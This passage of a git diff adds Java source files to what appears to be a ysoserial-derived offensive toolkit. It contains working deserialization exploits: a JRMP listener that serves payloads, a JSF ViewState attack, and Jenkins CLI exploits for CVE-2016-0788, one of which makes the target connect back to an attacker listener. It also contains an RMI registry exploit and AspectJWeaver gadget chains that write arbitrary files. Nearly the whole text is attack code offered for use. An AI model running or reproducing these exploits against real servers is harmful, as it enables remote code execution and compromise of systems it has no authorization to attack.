@Override + protected void annotateProxyClass(Class cl) throws IOException { + annotateClass(cl); + } + } +} + diff --git a/src/main/java/com/qi4l/jndi/exploit/JRMPListener.java b/src/main/java/com/qi4l/jndi/exploit/JRMPListener.java new file mode 100644 index 0000000..0122fd6 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/exploit/JRMPListener.java @@ -0,0 +1,292 @@ +package com.qi4l.jndi.exploit; + +import com.qi4l.jndi.Starter; +import com.qi4l.jndi.controllers.ysoserial; +import com.qi4l.jndi.gadgets.utils.Reflections; +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; +import sun.rmi.transport.TransportConstants; + +import javax.management.BadAttributeValueExpException; +import javax.net.ServerSocketFactory; +import java.io.*; +import java.net.*; +import java.rmi.MarshalException; +import java.rmi.server.ObjID; +import java.rmi.server.UID; +import java.util.Arrays; + + +/** + * Generic JRMP listener + *

+ * Opens up an JRMP listener that will deliver the specified payload to any + * client connecting to it and making a call. + * + * @author mbechler + */ +@SuppressWarnings({ + "restriction" +}) +public class JRMPListener implements Runnable { + + private int port; + + private Object payloadObject; + + private ServerSocket ss; + + private Object waitLock = new Object(); + + private boolean exit; + + private boolean hadConnection; + + private URL classpathUrl; + + + public JRMPListener(int port, Object payloadObject) throws NumberFormatException, IOException { + this.port = port; + this.payloadObject = payloadObject; + this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port); + } + + public JRMPListener(int port, String className, URL classpathUrl) throws IOException { + this.port = port; + this.payloadObject = makeDummyObject(className); + this.classpathUrl = classpathUrl; + this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port); + } + + public static final void main(final String[] args) throws Exception { + if (args.length < 5) { + System.err.println(JRMPListener.class.getName() + " "); + System.exit(-1); + return; + } + + // 去除第一个参数 + String[] newArray = new String[args.length - 1]; + System.arraycopy(args, 1, newArray, 0, newArray.length); + + Starter.main(newArray); + final Object payloadObject = ysoserial.PAYLOAD; + + try { + int port = Integer.parseInt(args[0]); + System.err.println("* Opening JRMP listener on " + port); + JRMPListener c = new JRMPListener(port, payloadObject); + c.run(); + } catch (Exception e) { + System.err.println("Listener error"); + e.printStackTrace(System.err); + } + } + + @SuppressWarnings({"deprecation"}) + protected static Object makeDummyObject(String className) { + try { + ClassLoader isolation = new ClassLoader() { + }; + ClassPool cp = new ClassPool(); + cp.insertClassPath(new ClassClassPath(Dummy.class)); + CtClass clazz = cp.get(Dummy.class.getName()); + clazz.setName(className); + return clazz.toClass(isolation).newInstance(); + } catch (Exception e) { + e.printStackTrace(); + return new byte[0]; + } + } + + public boolean waitFor(int i) { + try { + if (this.hadConnection) { + return true; + } + System.err.println("Waiting for connection"); + synchronized (this.waitLock) { + this.waitLock.wait(i); + } + return this.hadConnection; + } catch (InterruptedException e) { + return false; + } + } + + public void close() { + this.exit = true; + try { + this.ss.close(); + } catch (IOException e) { + } + synchronized (this.waitLock) { + this.waitLock.notify(); + } + } + + public void run() { + try { + Socket s = null; + try { + while (!this.exit && (s = this.ss.accept()) != null) { + try { + s.setSoTimeout(5000); + InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress(); + System.err.println("Have connection from " + remote); + + InputStream is = s.getInputStream(); + InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is); + + // Read magic (or HTTP wrapper) + bufIn.mark(4); + DataInputStream in = new DataInputStream(bufIn); + int magic = in.readInt(); + + short version = in.readShort(); + if (magic != TransportConstants.Magic || version != TransportConstants.Version) { + s.close(); + continue; + } + + OutputStream sockOut = s.getOutputStream(); + BufferedOutputStream bufOut = new BufferedOutputStream(sockOut); + DataOutputStream out = new DataOutputStream(bufOut); + + byte protocol = in.readByte(); + switch (protocol) { + case TransportConstants.StreamProtocol: + out.writeByte(TransportConstants.ProtocolAck); + if (remote.getHostName() != null) { + out.writeUTF(remote.getHostName()); + } else { + out.writeUTF(remote.getAddress().toString()); + } + out.writeInt(remote.getPort()); + out.flush(); + in.readUTF(); + in.readInt(); + case TransportConstants.SingleOpProtocol: + doMessage(s, in, out, this.payloadObject); + break; + default: + case TransportConstants.MultiplexProtocol: + System.err.println("Unsupported protocol"); + s.close(); + continue; + } + + bufOut.flush(); + out.flush(); + } catch (InterruptedException e) { + return; + } catch (Exception e) { + e.printStackTrace(System.err); + } finally { + System.err.println("Closing connection"); + s.close(); + } + + } + + } finally { + if (s != null) { + s.close(); + } + if (this.ss != null) { + this.ss.close(); + } + } + + } catch (SocketException e) { + return; + } catch (Exception e) { + e.printStackTrace(System.err); + } + } + + private void doMessage(Socket s, DataInputStream in, DataOutputStream out, Object payload) throws Exception { + System.err.println("Reading message..."); + + int op = in.read(); + + switch (op) { + case TransportConstants.Call: + // service incoming RMI call + doCall(in, out, payload); + break; + + case TransportConstants.Ping: + // send ack for ping + out.writeByte(TransportConstants.PingAck); + break; + + case TransportConstants.DGCAck: + UID u = UID.read(in); + break; + + default: + throw new IOException("unknown transport op " + op); + } + + s.close(); + } + + private void doCall(DataInputStream in, DataOutputStream out, Object payload) throws Exception { + ObjectInputStream ois = new ObjectInputStream(in) { + + @Override + protected Class resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { + if ("[Ljava.rmi.server.ObjID;".equals(desc.getName())) { + return ObjID[].class; + } else if ("java.rmi.server.ObjID".equals(desc.getName())) { + return ObjID.class; + } else if ("java.rmi.server.UID".equals(desc.getName())) { + return UID.class; + } + throw new IOException("Not allowed to read object"); + } + }; + + ObjID read; + try { + read = ObjID.read(ois); + } catch (java.io.IOException e) { + throw new MarshalException("unable to read objID", e); + } + + + if (read.hashCode() == 2) { + ois.readInt(); // method + ois.readLong(); // hash + System.err.println("Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject())); + } + + System.err.println("Sending return with payload for obj " + read); + + out.writeByte(TransportConstants.Return);// transport op + ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl); + + oos.writeByte(TransportConstants.ExceptionalReturn); + new UID().write(oos); + + BadAttributeValueExpException ex = new BadAttributeValueExpException(null); + Reflections.setFieldValue(ex, "val", payload); + oos.writeObject(ex); + + oos.flush(); + out.flush(); + + this.hadConnection = true; + synchronized (this.waitLock) { + this.waitLock.notifyAll(); + } + } + + public static class Dummy implements Serializable { + + private static final long serialVersionUID = 1L; + + } +} diff --git a/src/main/java/com/qi4l/jndi/exploit/JSF.java b/src/main/java/com/qi4l/jndi/exploit/JSF.java new file mode 100644 index 0000000..41e6de7 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/exploit/JSF.java @@ -0,0 +1,79 @@ +package com.qi4l.jndi.exploit; + +import com.qi4l.jndi.Starter; +import com.qi4l.jndi.controllers.ysoserial; +import org.apache.commons.codec.binary.Base64; + +import java.io.ByteArrayOutputStream; +import java.io.ObjectOutputStream; +import java.io.OutputStream; +import java.net.HttpURLConnection; +import java.net.URL; +import java.net.URLConnection; +import java.net.URLEncoder; + + +/** + * JSF view state exploit + *

+ * Delivers a gadget payload via JSF ViewState token. + *

+ * This will only work if ViewState encryption/mac is disabled. + *

+ * While it has been long known that client side state saving + * with encryption disabled leads to RCE via EL injection, + * this of course also works with deserialization gadgets. + *

+ * Also, it turns out that MyFaces is vulnerable to this even when + * using server-side state saving + * (yes, please, let's (de-)serialize a String as an Object). + * + * @author mbechler + */ +public class JSF { + + public static void main(String[] args) { + + if (args.length < 3) { + System.err.println(JSF.class.getName() + " "); + System.exit(-1); + } + + try { + URL u = new URL(args[0]); + + // 去除前两个参数 + String[] newArray = new String[args.length - 1]; + System.arraycopy(args, 1, newArray, 0, newArray.length); + + Starter.main(newArray); + Object payloadObject = ysoserial.PAYLOAD; + + URLConnection c = u.openConnection(); + if (!(c instanceof HttpURLConnection)) { + throw new IllegalArgumentException("Not a HTTP url"); + } + + HttpURLConnection hc = (HttpURLConnection) c; + hc.setDoOutput(true); + hc.setRequestMethod("POST"); + hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); + OutputStream os = hc.getOutputStream(); + + ByteArrayOutputStream bos = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(bos); + oos.writeObject(payloadObject); + oos.close(); + byte[] data = bos.toByteArray(); + String requestBody = "javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII"); + os.write(requestBody.getBytes("US-ASCII")); + os.close(); + + System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage()); + } catch (Exception e) { + e.printStackTrace(System.err); + } + } + + +} diff --git a/src/main/java/com/qi4l/jndi/exploit/JenkinsCLI.java b/src/main/java/com/qi4l/jndi/exploit/JenkinsCLI.java new file mode 100644 index 0000000..86b9a1f --- /dev/null +++ b/src/main/java/com/qi4l/jndi/exploit/JenkinsCLI.java @@ -0,0 +1,120 @@ +package com.qi4l.jndi.exploit; + +import com.qi4l.jndi.Starter; +import com.qi4l.jndi.controllers.ysoserial; +import com.qi4l.jndi.gadgets.utils.Reflections; +import hudson.remoting.Callable; +import hudson.remoting.Channel; +import hudson.remoting.Channel.Mode; +import hudson.remoting.ChannelBuilder; + +import javax.net.SocketFactory; +import java.io.DataOutputStream; +import java.io.IOException; +import java.io.OutputStream; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.net.*; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; +import java.util.concurrent.ThreadFactory; + +/** + * Jenkins CLI client + *

+ * Jenkins unfortunately is still using a custom serialization based + * protocol for remote communications only protected by a blacklisting + * application level filter. + *

+ * This is a generic client delivering a gadget chain payload via that protocol. + * + * @author mbechler + */ +public class JenkinsCLI { + + public static final void main(final String[] args) throws Exception { + if (args.length < 5) { + System.err.println(JenkinsCLI.class.getName() + " "); + System.exit(-1); + } + + String jenkinsUrl = args[0]; + // 去除前一个参数 + String[] newArray = new String[args.length - 1]; + System.arraycopy(args, 1, newArray, 0, newArray.length); + + Starter.main(newArray); + Object payloadObject = ysoserial.PAYLOAD; + + Channel c = null; + try { + InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl); + c = JenkinsCLI.openChannel(isa); + c.call(getPropertyCallable(payloadObject)); + } catch (Throwable e) { + e.printStackTrace(); + } finally { + if (c != null) { + try { + c.close(); + } catch (IOException e) { + e.printStackTrace(System.err); + } + } + } + } + + public static Callable getPropertyCallable(final Object prop) + throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { + Class reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest"); + Constructor reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class); + Reflections.setAccessible(reqCons); + Object getJarLoader = reqCons + .newInstance(1, Class.forName("hudson.remoting.IChannel").getMethod("getProperty", Object.class), new Object[]{ + prop + }); + return (Callable) getJarLoader; + } + + public static InetSocketAddress getCliPort(String jenkinsUrl) throws MalformedURLException, IOException { + URL u = new URL(jenkinsUrl); + + URLConnection conn = u.openConnection(); + if (!(conn instanceof HttpURLConnection)) { + System.err.println("Not a HTTP URL"); + throw new MalformedURLException(); + } + + HttpURLConnection hc = (HttpURLConnection) conn; + if (hc.getResponseCode() >= 400) { + System.err.println("* Error connection to jenkins HTTP " + u); + } + int clip = Integer.parseInt(hc.getHeaderField("X-Jenkins-CLI-Port")); + + return new InetSocketAddress(u.getHost(), clip); + } + + public static Channel openChannel(InetSocketAddress isa) throws IOException, SocketException { + System.err.println("* Opening socket " + isa); + Socket s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort()); + s.setKeepAlive(true); + s.setTcpNoDelay(true); + + System.err.println("* Opening channel"); + OutputStream outputStream = s.getOutputStream(); + DataOutputStream dos = new DataOutputStream(outputStream); + dos.writeUTF("Protocol:CLI-connect"); + ExecutorService cp = Executors.newCachedThreadPool(new ThreadFactory() { + + public Thread newThread(Runnable r) { + Thread t = new Thread(r, "Channel"); + t.setDaemon(true); + return t; + } + }); + Channel c = new ChannelBuilder("EXPLOIT", cp).withMode(Mode.BINARY).build(s.getInputStream(), outputStream); + System.err.println("* Channel open"); + return c; + } +} diff --git a/src/main/java/com/qi4l/jndi/exploit/JenkinsListener.java b/src/main/java/com/qi4l/jndi/exploit/JenkinsListener.java new file mode 100644 index 0000000..40a6409 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/exploit/JenkinsListener.java @@ -0,0 +1,199 @@ +package com.qi4l.jndi.exploit; + +import com.qi4l.jndi.Starter; +import com.qi4l.jndi.controllers.ysoserial; +import com.qi4l.jndi.gadgets.JRMPListener; +import com.qi4l.jndi.gadgets.utils.Reflections; +import hudson.remoting.Callable; +import hudson.remoting.Channel; +import hudson.remoting.JarLoader; +import sun.rmi.server.Util; +import sun.rmi.transport.TransportConstants; + +import javax.net.SocketFactory; +import java.io.DataOutputStream; +import java.io.IOException; +import java.io.ObjectOutputStream; +import java.io.OutputStream; +import java.lang.reflect.*; +import java.net.InetSocketAddress; +import java.net.Socket; +import java.rmi.activation.ActivationDesc; +import java.rmi.activation.ActivationID; +import java.rmi.activation.ActivationInstantiator; + + +/** + * CVE-2016-0788 exploit (1) + *

+ * 1. delivers a org.su18.ysuserial.payloads.JRMPListener payload to jenkins via it's remoting protocol. + * 2. that payload causes the remote server to open up an JRMP listener (and export an object). + * 3. connect to that JRMP listener and deliver any otherwise blacklisted payload. + *

+ * Extra twist: + * The well-known objects exported by the listener use the system classloader which usually + * won't contain the targeted classes. Therefor we need to get ahold of the exported object's id + * (which is using jenkins' classloader) that typically is properly randomized. + * Fortunately - for the exploiting party - there is also a gadget that allows to leak + * that identifier via an exception. + * + * @author mbechler + */ +@SuppressWarnings({ + "rawtypes", "restriction" +}) +public class JenkinsListener { + + public static final void main(final String[] args) { + + if (args.length < 5) { + System.err.println(JenkinsListener.class.getName() + " "); + System.exit(-1); + } + + String jenkinsUrl = args[0]; + int jrmpPort = 12345; + + Channel c = null; + try { + InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl); + c = JenkinsCLI.openChannel(isa); + + Object call = c.call(JenkinsCLI.getPropertyCallable(JarLoader.class.getName() + ".ours")); + InvocationHandler remote = Proxy.getInvocationHandler(call); + int oid = Reflections.getField(Class.forName("hudson.remoting.RemoteInvocationHandler"), "oid").getInt(remote); + + System.err.println("* JarLoader oid is " + oid); + + Object uro = new JRMPListener().getObject(String.valueOf(jrmpPort)); + + Class reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest"); + + Object o = makeIsPresentOnRemoteCallable(oid, uro, reqClass); + + try { + c.call((Callable) o); + } catch (Exception e) { + // [ActivationGroupImpl[UnicastServerRef [liveRef: + // [endpoint:[172.16.20.11:12345](local),objID:[de39d9c:15269e6d8bf:-7fc1, + // -9046794842107247609]] + + System.err.println(e.getMessage()); + + parseObjIdAndExploit(args, jrmpPort, isa, e); + } + + } catch (Throwable e) { + e.printStackTrace(); + } finally { + if (c != null) { + try { + c.close(); + } catch (IOException e) { + e.printStackTrace(System.err); + } + } + } + + } + + + private static Object makeIsPresentOnRemoteCallable(int oid, Object uro, Class reqClass) + throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException { + Constructor reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class); + Reflections.setAccessible(reqCons); + return reqCons + .newInstance(oid, JarLoader.class.getMethod("isPresentOnRemote", Class.forName("hudson.remoting.Checksum")), new Object[]{ + uro, + }); + } + + + private static void parseObjIdAndExploit(final String[] args, int jrmpPort, InetSocketAddress isa, Exception e) throws Exception, IOException { + String msg = e.getMessage(); + int start = msg.indexOf("objID:["); + if (start < 0) { + throw new Exception("Failed to get object id"); + } + + int sep = msg.indexOf(", ", start + 1); + + if (sep < 0) { + throw new Exception("Failed to get object id, separator"); + } + + int end = msg.indexOf("]", sep + 1); + + if (end < 0) { + throw new Exception("Failed to get object id, separator"); + } + + String uid = msg.substring(start + 7, sep); + String objNum = msg.substring(sep + 2, end); + + System.err.println("* UID is " + uid); + System.err.println("* ObjNum is " + objNum); + + String[] parts = uid.split(":"); + + long obj = Long.parseLong(objNum); + int o1 = Integer.parseInt(parts[0], 16); + long o2 = Long.parseLong(parts[1], 16); + short o3 = Short.parseShort(parts[2], 16); + + exploit(new InetSocketAddress(isa.getAddress(), jrmpPort), obj, o1, o2, o3, args); + } + + + private static void exploit(InetSocketAddress isa, long obj, int o1, long o2, short o3, String[] args) + throws IOException { + Socket s = null; + DataOutputStream dos = null; + try { + System.err.println("* Opening JRMP socket " + isa); + s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort()); + s.setKeepAlive(true); + s.setTcpNoDelay(true); + + OutputStream os = s.getOutputStream(); + dos = new DataOutputStream(os); + + dos.writeInt(TransportConstants.Magic); + dos.writeShort(TransportConstants.Version); + dos.writeByte(TransportConstants.SingleOpProtocol); + + dos.write(TransportConstants.Call); + + @SuppressWarnings("resource") final ObjectOutputStream objOut = new JRMPClient.MarshalOutputStream(dos); + + objOut.writeLong(obj); + objOut.writeInt(o1); + objOut.writeLong(o2); + objOut.writeShort(o3); + + objOut.writeInt(-1); + objOut.writeLong(Util.computeMethodHash(ActivationInstantiator.class.getMethod("newInstance", ActivationID.class, ActivationDesc.class))); + + // 去除前两个参数 + String[] newArray = new String[args.length - 2]; + System.arraycopy(args, 2, newArray, 0, newArray.length); + + Starter.main(newArray); + Object payloadObject = ysoserial.PAYLOAD; + + objOut.writeObject(payloadObject); + os.flush(); + } catch (Exception e) { + e.printStackTrace(System.err); + } finally { + if (dos != null) { + dos.close(); + } + if (s != null) { + s.close(); + } + } + } + + +} diff --git a/src/main/java/com/qi4l/jndi/exploit/JenkinsReverse.java b/src/main/java/com/qi4l/jndi/exploit/JenkinsReverse.java new file mode 100644 index 0000000..6de2f65 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/exploit/JenkinsReverse.java @@ -0,0 +1,76 @@ +package com.qi4l.jndi.exploit; + +import com.qi4l.jndi.Starter; +import com.qi4l.jndi.controllers.ysoserial; +import com.qi4l.jndi.gadgets.JRMPClient; +import hudson.remoting.Channel; + +import java.io.IOException; +import java.net.InetSocketAddress; +import java.rmi.registry.Registry; +import java.util.Random; + +/** + * CVE-2016-0788 exploit (2) + *

+ * - Sets up a local {@link JRMPListener} + * - Delivers a {@link com.qi4l.jndi.exploit.JRMPClient} payload via the CLI protocol + * that will cause the remote to open a JRMP connection to our listener + * - upon connection the specified payload will be delivered to the remote + * (that will deserialize using a default ObjectInputStream) + * + * @author mbechler + */ +public class JenkinsReverse { + + public static final void main(final String[] args) throws Exception { + if (args.length < 4) { + System.err.println(JenkinsListener.class.getName() + " "); + System.exit(-1); + } + + // 去除前两个参数 + String[] newArray = new String[args.length - 2]; + System.arraycopy(args, 2, newArray, 0, newArray.length); + + Starter.main(newArray); + final Object payloadObject = ysoserial.PAYLOAD; + String myAddr = args[1]; + int jrmpPort = new Random().nextInt(65536 - 1024) + 1024; + String jenkinsUrl = args[0]; + + Thread t = null; + Channel c = null; + try { + InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl); + c = JenkinsCLI.openChannel(isa); + JRMPListener listener = new JRMPListener(jrmpPort, payloadObject); + t = new Thread(listener, "ReverseDGC"); + t.setDaemon(true); + t.start(); + Registry payload = (Registry) new JRMPClient().getObject(myAddr + ":" + jrmpPort); + c.call(JenkinsCLI.getPropertyCallable(payload)); + listener.waitFor(1000); + listener.close(); + } catch (Throwable e) { + e.printStackTrace(); + } finally { + if (c != null) { + try { + c.close(); + } catch (IOException e) { + e.printStackTrace(System.err); + } + } + + if (t != null) { + t.interrupt(); + try { + t.join(); + } catch (InterruptedException e) { + e.printStackTrace(System.err); + } + } + } + } +} diff --git a/src/main/java/com/qi4l/jndi/exploit/RMIBindExploit.java b/src/main/java/com/qi4l/jndi/exploit/RMIBindExploit.java new file mode 100644 index 0000000..76221d3 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/exploit/RMIBindExploit.java @@ -0,0 +1,118 @@ +package com.qi4l.jndi.exploit; + +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.sun.security.auth.UnixPrincipal; +import sun.rmi.transport.StreamRemoteCall; +import sun.rmi.transport.tcp.TCPEndpoint; + +import javax.management.remote.rmi.RMIConnection; +import javax.security.auth.Subject; +import java.io.IOException; +import java.io.ObjectInput; +import java.io.ObjectOutput; +import java.lang.reflect.Field; +import java.rmi.*; +import java.rmi.registry.LocateRegistry; +import java.rmi.registry.Registry; +import java.rmi.server.Operation; +import java.rmi.server.RemoteObject; +import java.rmi.server.RemoteRef; +import java.util.*; + +/** + * @author su18 + */ +public class RMIBindExploit { + + + public static void main(String[] args) throws Exception { + + if (args.length < 4) { + System.err.println(JRMPClient.class.getName() + " "); + System.exit(-1); + } + + String host = args[0]; + int registryPort = Integer.parseInt(args[1]); + String command = args[2]; + String serviceName = args[3]; + + Registry registry = LocateRegistry.getRegistry(host, registryPort); + System.out.println(Arrays.toString(registry.list())); + + Subject subject = new Subject(); + + Set set = new HashSet(); + set.add(new UnixPrincipal(command)); + Reflections.setFieldValue(subject, "principals", set); + + + RMIClient r = new RMIClient(); + r.ref = (RemoteRef) Reflections.getFieldValue(registry, "ref"); + r.ip = host; + + + System.out.println(((RMIConnection) r.lookup(serviceName)).getDefaultDomain(subject)); + } + + static class RMIClient extends RemoteObject { + + private final Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")}; + + private RemoteRef ref = null; + + private String ip = null; + + public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException { + try { + StreamRemoteCall var2 = (StreamRemoteCall) this.ref.newCall(this, operations, 2, 4905912898345647071L); + + try { + ObjectOutput var3 = var2.getOutputStream(); + var3.writeObject(var1); + } catch (IOException var15) { + throw new MarshalException("error marshalling arguments", var15); + } + + this.ref.invoke(var2); + + Remote var20; + try { + ObjectInput var4 = var2.getInputStream(); + var20 = (Remote) var4.readObject(); + + Field f = var2.getClass().getDeclaredField("in"); + f.setAccessible(true); + Object conn = f.get(var2); + + f = conn.getClass().getDeclaredField("incomingRefTable"); + f.setAccessible(true); + + HashMap rets = (HashMap) f.get(conn); + + Map.Entry entry = (Map.Entry) rets.entrySet().iterator().next(); + + f = entry.getKey().getClass().getDeclaredField("host"); + f.setAccessible(true); + f.set(entry.getKey(), this.ip); + } catch (Exception var13) { +// var2.discardPendingRefs(); + throw new UnmarshalException("error unmarshalling return", var13); + } finally { + this.ref.done(var2); + } + + return var20; + } catch (RuntimeException var16) { + throw var16; + } catch (RemoteException var17) { + throw var17; + } catch (NotBoundException var18) { + throw var18; + } catch (Exception var19) { + throw new UnexpectedException("undeclared checked exception", var19); + } + } + } + +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/AspectJWeaver.java b/src/main/java/com/qi4l/jndi/gadgets/AspectJWeaver.java new file mode 100644 index 0000000..2739094 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/AspectJWeaver.java @@ -0,0 +1,100 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Reflections; +import org.apache.commons.codec.binary.Base64; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; + +import java.io.Serializable; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.HashSet; +import java.util.Map; + +/** + * Gadget chain: + * HashSet.readObject() + * HashMap.put() + * HashMap.hash() + * TiedMapEntry.hashCode() + * TiedMapEntry.getValue() + * LazyMap.get() + * SimpleCache$StorableCachingMap.put() + * SimpleCache$StorableCachingMap.writeToPath() + * FileOutputStream.write() + *

+ * Usage: + * args = ";" + * Example: + * java -jar ysoserial.jar aspectjweaver "ahi.txt;YWhpaGloaQ==" + *

+ * More information: + * https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5 + */ + +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"}) +@Authors({Authors.JANG}) + +public class AspectJWeaver implements ObjectPayload { + + public Serializable getObject(String command) throws Exception { + + int sep = command.lastIndexOf(':'); + if (sep < 0) { + throw new IllegalArgumentException("Command format is: :"); + } + String[] parts = command.split(":"); + String filename = parts[0]; + byte[] content = Base64.decodeBase64(parts[1]); + + Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap"); + Object simpleCache = ctor.newInstance(".", 12); + Transformer ct = new ConstantTransformer(content); + Map lazyMap = LazyMap.decorate((Map) simpleCache, ct); + TiedMapEntry entry = new TiedMapEntry(lazyMap, filename); + HashSet map = new HashSet(1); + map.add("QI4L"); + Field f = null; + try { + f = HashSet.class.getDeclaredField("map"); + } catch (NoSuchFieldException e) { + f = HashSet.class.getDeclaredField("backingMap"); + } + + Reflections.setAccessible(f); + HashMap innimpl = (HashMap) f.get(map); + + Field f2; + try { + f2 = HashMap.class.getDeclaredField("table"); + } catch (NoSuchFieldException e) { + f2 = HashMap.class.getDeclaredField("elementData"); + } + + Reflections.setAccessible(f2); + Object[] array = (Object[]) f2.get(innimpl); + + Object node = array[0]; + if (node == null) { + node = array[1]; + } + + Field keyField; + try { + keyField = node.getClass().getDeclaredField("key"); + } catch (Exception e) { + keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); + } + + Reflections.setAccessible(keyField); + keyField.set(node, entry); + + return map; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/AspectJWeaver2.java b/src/main/java/com/qi4l/jndi/gadgets/AspectJWeaver2.java new file mode 100644 index 0000000..f90c670 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/AspectJWeaver2.java @@ -0,0 +1,89 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Reflections; +import org.apache.commons.codec.binary.Base64; +import org.apache.commons.collections.Factory; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ConstantFactory; +import org.apache.commons.collections.functors.FactoryTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; + +import java.io.Serializable; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.HashSet; +import java.util.Map; + +/** + * 使用 ConstantFactory + FactoryTransformer 替换 ConstantTransformer,避免,类似本项目中的 CC10 + */ + +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"}) +@Authors({Authors.QI4L}) +public class AspectJWeaver2 implements ObjectPayload { + + @Override + public Serializable getObject(String command) throws Exception { + + int sep = command.lastIndexOf(';'); + if (sep < 0) { + throw new IllegalArgumentException("Command format is: ;"); + } + String[] parts = command.split(";"); + String filename = parts[0]; + byte[] content = Base64.decodeBase64(parts[1]); + + Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap"); + Object simpleCache = ctor.newInstance(".", 12); + + Factory ft = new ConstantFactory(content); + Transformer ct = new FactoryTransformer(ft); + + Map lazyMap = LazyMap.decorate((Map) simpleCache, ct); + TiedMapEntry entry = new TiedMapEntry(lazyMap, filename); + HashSet map = new HashSet(1); + map.add("QI4L"); + Field f = null; + try { + f = HashSet.class.getDeclaredField("map"); + } catch (NoSuchFieldException e) { + f = HashSet.class.getDeclaredField("backingMap"); + } + + Reflections.setAccessible(f); + HashMap innimpl = (HashMap) f.get(map); + + Field f2 = null; + try { + f2 = HashMap.class.getDeclaredField("table"); + } catch (NoSuchFieldException e) { + f2 = HashMap.class.getDeclaredField("elementData"); + } + + Reflections.setAccessible(f2); + Object[] array = (Object[]) f2.get(innimpl); + + Object node = array[0]; + if (node == null) { + node = array[1]; + } + + Field keyField = null; + try { + keyField = node.getClass().getDeclaredField("key"); + } catch (Exception e) { + keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); + } + + Reflections.setAccessible(keyField); + keyField.set(node, entry); + + return map; + + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/BeanShell1.java b/src/main/java/com/qi4l/jndi/gadgets/BeanShell1.java new file mode 100644 index 0000000..f0ddf28 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/BeanShell1.java @@ -0,0 +1,37 @@ +package com.qi4l.jndi.gadgets; + +import bsh.Interpreter; +import bsh.XThis; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.qi4l.jndi.gadgets.utils.beanshell.BeanShellUtil; + +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Proxy; +import java.util.Comparator; +import java.util.PriorityQueue; + +/** + * Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711) + */ + +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"org.beanshell:bsh:2.0b5"}) 